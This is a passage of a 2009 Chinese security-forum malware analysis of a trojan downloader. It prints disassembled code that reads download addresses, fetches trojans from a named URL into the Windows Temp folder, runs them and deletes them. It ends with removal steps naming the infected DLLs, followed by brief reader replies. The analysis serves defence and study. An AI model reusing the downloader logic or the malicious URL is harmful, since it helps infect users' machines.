.nsp0:1000162E                 cmp     [esp+618h+dwNumberOfBytesRead], ebx
.nsp0:10001632                 jbe     loc_100016C3
.nsp0:10001638                 push    ebp
.nsp0:10001639                 lea     edx, [esp+61Ch+Buffer]
.nsp0:10001640                 push    offset Delim    ; "\r\n"
.nsp0:10001645                 push    edx             ; Str
.nsp0:10001646                 xor     ebp, ebp
.nsp0:10001648                 call    _strtok
.nsp0:1000164D                 mov     edx, eax
.nsp0:1000164F                 add     esp, 8
.nsp0:10001652                 cmp     edx, ebx
.nsp0:10001654                 jz      short loc_100016BA
.nsp0:10001656                 push    esi
.nsp0:10001657
.nsp0:10001657 loc_10001657:                           ; CODE XREF: sub_10001540+177j
.nsp0:10001657                 xor     eax, eax
.nsp0:10001659                 mov     edi, edx
.nsp0:1000165B                 mov     [esp+620h+var_60F], eax
.nsp0:1000165F                 or      ecx, 0FFFFFFFFh
.nsp0:10001662                 mov     [esp+620h+var_60B], eax
.nsp0:10001666                 mov     [esp+620h+var_610], bl
.nsp0:1000166A                 mov     [esp+620h+var_607], al
.nsp0:1000166E                 xor     esi, esi
.nsp0:10001670                 repne scasb
.nsp0:10001672                 not     ecx
.nsp0:10001674                 dec     ecx
.nsp0:10001675                 cmp     ecx, ebx
.nsp0:10001677                 jle     short loc_10001691
.nsp0:10001679                 lea     edi, [esp+620h+var_610]
.nsp0:1000167D                 mov     eax, edx
.nsp0:1000167F                 sub     edi, edx
.nsp0:10001681
.nsp0:10001681 loc_10001681:                           ; CODE XREF: sub_10001540+14Fj
.nsp0:10001681                 mov     dl, [eax]
.nsp0:10001683                 cmp     dl, 2Eh
.nsp0:10001686                 jz      short loc_10001691
.nsp0:10001688                 mov     [edi+eax], dl
.nsp0:1000168B                 inc     esi
.nsp0:1000168C                 inc     eax
.nsp0:1000168D                 cmp     esi, ecx
.nsp0:1000168F                 jl      short loc_10001681
.nsp0:10001691
.nsp0:10001691 loc_10001691:                           ; CODE XREF: sub_10001540+137j
.nsp0:10001691                                         ; sub_10001540+146j
.nsp0:10001691                 lea     ecx, [esp+620h+var_610]
.nsp0:10001695                 push    ecx
.nsp0:10001696                 call    sub_10002011
.nsp0:1000169B                 mov     edx, dword_1000AF30
.nsp0:100016A1                 push    offset Delim    ; "\r\n"
.nsp0:100016A6                 push    ebx             ; Str
.nsp0:100016A7                 mov     [edx+ebp*4], eax
.nsp0:100016AA                 call    _strtok
.nsp0:100016AF                 add     esp, 0Ch
.nsp0:100016B2                 mov     edx, eax
.nsp0:100016B4                 inc     ebp
.nsp0:100016B5                 cmp     edx, ebx
.nsp0:100016B7                 jnz     short loc_10001657
.nsp0:100016B9                 pop     esi
.nsp0:100016BA
.nsp0:100016BA loc_100016BA:                           ; CODE XREF: sub_10001540+114j
.nsp0:100016BA                 mov     eax, dword_1000AF30
.nsp0:100016BF                 mov     [eax+ebp*4], ebx
.nsp0:100016C2                 pop     ebp
.nsp0:100016C3
.nsp0:100016C3 loc_100016C3:                           ; CODE XREF: sub_10001540+CBj
.nsp0:100016C3                                         ; sub_10001540+E8j ...
.nsp0:100016C3                 mov     ecx, dword_1000AF34
.nsp0:100016C9                 push    ecx             ; hInternet
.nsp0:100016CA                 call    InternetCloseHandle
.nsp0:100016D0                 mov     dword_1000AF34, ebx
.nsp0:100016D6
.nsp0:100016D6 loc_100016D6:                           ; CODE XREF: sub_10001540+90j
.nsp0:100016D6                 mov     edx, hInternet
.nsp0:100016DC                 push    edx             ; hInternet
.nsp0:100016DD                 call    InternetCloseHandle
.nsp0:100016E3                 mov     hInternet, ebx
.nsp0:100016E9                 pop     edi
.nsp0:100016EA
.nsp0:100016EA loc_100016EA:                           ; CODE XREF: sub_10001540+1Fj
.nsp0:100016EA                 pop     ebx
.nsp0:100016EB                 add     esp, 610h
.nsp0:100016F1                 retn
3:创建C:\\WINDOWS\\system32\\Com\\comreat.mml,并写入下载的相关信息!
.nsp0:10001440                 push    ecx
.nsp0:10001441                 mov     eax, pszPath
.nsp0:10001446                 push    edi
.nsp0:10001447                 push    eax             ; pszPath
.nsp0:10001448                 call    PathFileExistsW
.nsp0:1000144E                 test    eax, eax
.nsp0:10001450                 push    0               ; hTemplateFile
.nsp0:10001452                 push    80h             ; dwFlagsAndAttributes
.nsp0:10001457                 jz      loc_1000150B
.nsp0:1000145D                 mov     ecx, pszPath
.nsp0:10001463                 push    3               ; dwCreationDisposition
.nsp0:10001465                 push    0               ; lpSecurityAttributes
.nsp0:10001467                 push    2               ; dwShareMode
.nsp0:10001469                 push    80000000h       ; dwDesiredAccess
.nsp0:1000146E                 push    ecx             ; lpFileName
.nsp0:1000146F                 call    CreateFileW
.nsp0:10001475                 mov     edi, eax
.nsp0:10001477                 cmp     edi, 0FFFFFFFFh
.nsp0:1000147A                 jnz     short loc_10001481
.nsp0:1000147C                 xor     eax, eax
.nsp0:1000147E                 pop     edi
.nsp0:1000147F                 pop     ecx
.nsp0:10001480                 retn
.nsp0:10001481 ; ---------------------------------------------------------------------------
.nsp0:10001481
.nsp0:10001481 loc_10001481:                           ; CODE XREF: sub_10001440+3Aj
.nsp0:10001481                 push    ebx
.nsp0:10001482                 push    esi
.nsp0:10001483                 push    0               ; lpFileSizeHigh
.nsp0:10001485                 push    edi             ; hFile
.nsp0:10001486                 call    GetFileSize
.nsp0:1000148C                 mov     esi, eax
.nsp0:1000148E                 push    esi             ; Size
.nsp0:1000148F                 call    _malloc
.nsp0:10001494                 add     esp, 4
.nsp0:10001497                 lea     edx, [esp+10h+NumberOfBytesRead]
.nsp0:1000149B                 mov     ebx, eax
.nsp0:1000149D                 push    0               ; lpOverlapped
.nsp0:1000149F                 push    edx             ; lpNumberOfBytesRead
.nsp0:100014A0                 push    esi             ; nNumberOfBytesToRead
.nsp0:100014A1                 push    ebx             ; lpBuffer
.nsp0:100014A2                 push    edi             ; hFile
.nsp0:100014A3                 call    ReadFile
.nsp0:100014A9                 test    eax, eax
.nsp0:100014AB                 jz      short loc_100014F1
.nsp0:100014AD                 push    offset Delim    ; "\r\n"
.nsp0:100014B2                 push    ebx             ; Str
.nsp0:100014B3                 call    _strtok
.nsp0:100014B8                 add     esp, 8
.nsp0:100014BB                 xor     esi, esi
.nsp0:100014BD                 test    eax, eax
.nsp0:100014BF                 jz      short loc_100014E4
.nsp0:100014C1
.nsp0:100014C1 loc_100014C1:                           ; CODE XREF: sub_10001440+A2j
.nsp0:100014C1                 push    eax
.nsp0:100014C2                 call    sub_10002011
.nsp0:100014C7                 mov     ecx, dword_1000AF2C
.nsp0:100014CD                 push    offset Delim    ; "\r\n"
.nsp0:100014D2                 push    0               ; Str
.nsp0:100014D4                 mov     [ecx+esi*4], eax
.nsp0:100014D7                 call    _strtok
.nsp0:100014DC                 add     esp, 0Ch
.nsp0:100014DF                 inc     esi
.nsp0:100014E0                 test    eax, eax
.nsp0:100014E2                 jnz     short loc_100014C1
.nsp0:100014E4
.nsp0:100014E4 loc_100014E4:                           ; CODE XREF: sub_10001440+7Fj
.nsp0:100014E4                 mov     edx, dword_1000AF2C
.nsp0:100014EA                 mov     dword ptr [edx+esi*4], 0
.nsp0:100014F1
.nsp0:100014F1 loc_100014F1:                           ; CODE XREF: sub_10001440+6Bj
.nsp0:100014F1                 push    ebx             ; Memory
.nsp0:100014F2                 call    _free
.nsp0:100014F7                 add     esp, 4
.nsp0:100014FA                 pop     esi
.nsp0:100014FB                 pop     ebx
.nsp0:100014FC                 push    edi             ; hObject
.nsp0:100014FD                 call    CloseHandle
.nsp0:10001503                 mov     eax, 1
.nsp0:10001508                 pop     edi
.nsp0:10001509                 pop     ecx
.nsp0:1000150A                 retn
4:获取要下载的木马下载地址,例如http://baidu.51ddd.com/rising/97.css等..相关信息从rising.txt获取!然后下载到C:\Windows\Temp\cocddjzv.exe(文件名为随即生成),运行下载后的木马程序,然后删除木马程序!
.nsp0:10001AF0                 sub     esp, 200h
.nsp0:10001AF6                 push    ebx
.nsp0:10001AF7                 push    ebp
.nsp0:10001AF8                 mov     ebp, dword ptr byte_100080F4+4
.nsp0:10001AFE                 push    esi
.nsp0:10001AFF                 xor     ebx, ebx
.nsp0:10001B01                 push    edi
.nsp0:10001B02                 xor     esi, esi
.nsp0:10001B04
.nsp0:10001B04 loc_10001B04:                           ; CODE XREF: sub_10001AF0+B9j
.nsp0:10001B04                 mov     eax, dword_1000AF28
.nsp0:10001B09                 cmp     dword ptr [esi+eax], 0
.nsp0:10001B0D                 jz      loc_10001BAF
.nsp0:10001B13                 mov     ecx, 7Fh
.nsp0:10001B18                 xor     eax, eax
.nsp0:10001B1A                 lea     edi, [esp+210h+var_1FE]
.nsp0:10001B1E                 mov     [esp+210h+Dest], 0
.nsp0:10001B25                 rep stosd
.nsp0:10001B27                 lea     ecx, [esp+210h+Dest]
.nsp0:10001B2B                 push    offset aCWindowsTemp ; "C:\\Windows\\Temp\"
.nsp0:10001B30                 push    ecx             ; Dest
.nsp0:10001B31                 stosw
.nsp0:10001B33                 call    _wcscat
.nsp0:10001B38                 mov     edx, dword_1000AF24
.nsp0:10001B3E                 lea     ecx, [esp+218h+Dest]
.nsp0:10001B42                 lea     eax, [ebx+edx]
.nsp0:10001B45                 push    eax             ; Source
.nsp0:10001B46                 push    ecx             ; Dest
.nsp0:10001B47                 call    _wcscat
.nsp0:10001B4C                 add     esp, 10h
.nsp0:10001B4F                 lea     edx, [esp+210h+Dest]
.nsp0:10001B53                 push    0
.nsp0:10001B55                 push    0
.nsp0:10001B57                 push    0
.nsp0:10001B59                 push    edx
.nsp0:10001B5A                 push    offset aOpen    ; "open"
.nsp0:10001B5F                 push    0
.nsp0:10001B61                 call    ebp
.nsp0:10001B63                 push    0EA60h          ; dwMilliseconds
.nsp0:10001B68                 call    Sleep
.nsp0:10001B6E                 mov     eax, dword_1000AF28
.nsp0:10001B73                 mov     ecx, [esi+eax]
.nsp0:10001B76                 push    ecx
.nsp0:10001B77                 call    sub_10001A20
.nsp0:10001B7C                 mov     edx, dword_1000AF28
.nsp0:10001B82                 mov     eax, [esi+edx]
.nsp0:10001B85                 push    eax
.nsp0:10001B86                 call    sub_100019F0
.nsp0:10001B8B                 mov     ecx, dword_1000AF24
.nsp0:10001B91                 lea     edx, [ebx+ecx]
.nsp0:10001B94                 push    edx             ; Source
.nsp0:10001B95                 call    sub_10001A90
.nsp0:10001B9A                 add     esi, 4
.nsp0:10001B9D                 add     esp, 0Ch
.nsp0:10001BA0                 add     ebx, 1Ah
.nsp0:10001BA3                 cmp     esi, 1000h
.nsp0:10001BA9                 jl      loc_10001B04
.nsp0:10001BAF
.nsp0:10001BAF loc_10001BAF:                           ; CODE XREF: sub_10001AF0+1Dj
.nsp0:10001BAF                 pop     edi
.nsp0:10001BB0                 pop     esi
.nsp0:10001BB1                 pop     ebp
.nsp0:10001BB2                 pop     ebx
.nsp0:10001BB3                 add     esp, 200h
.nsp0:10001BB9                 retn
查杀:

查看进程中是否有qq.exe,skype.exe,storm.exe,ppstream.exe,thunder5.exe,ppsap.exe存在,有就关闭进程!
如果有安装以上软件的话,把下列的文件的DLL删除掉,然后在官方下载安装程序或找正常相应的DLL文件覆盖上去,或者手动反汇编修正!
C:\Program Files\Skype\Phone\skmsg.dll
C:\Program Files\Thunder Network\Thunder\Program\BugReport.dll
C:\Program Files\PPStream\fds.dll
C:\Program Files\Tencent\QQ2009\Bin\AppCtrl.dll
C:\Program Files\Tencent\QQ\QQGroupMng.dll
C:\Program Files\Tencent\QQGame\common\ProcMsg.dll
C:\Program Files\StormII\Media2.dll

最后删除C:\\WINDOWS\\temp\\uninstaller.exe文件和C:\\WINDOWS\\system32\\Com\\comreat.mml文件!

免费评分

参与人数 2威望 +11 收起 理由
roxiel + 5 精品
Squn + 6 精品文章!niubility

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

qq227479645 发表于 2009-3-12 18:36
真强啊  谢谢管理了
Hmily 发表于 2009-3-12 18:50
a461103325 发表于 2009-3-12 18:53
jnpany 发表于 2009-3-12 19:05
完全看不懂

支持勒`
a12hiu 发表于 2009-3-12 20:17
太深奥了/...
cjteam 发表于 2009-3-12 21:56
:'(不给病毒练手,难死了
淡定 发表于 2009-3-13 00:10
是个下载者吧{:298_823:}
热火朝天 发表于 2009-3-13 00:35
真辛苦了,分析累啊
pixuefeng 发表于 2009-3-13 06:02
真的很深奥,,看不懂啊。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-23 03:56

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表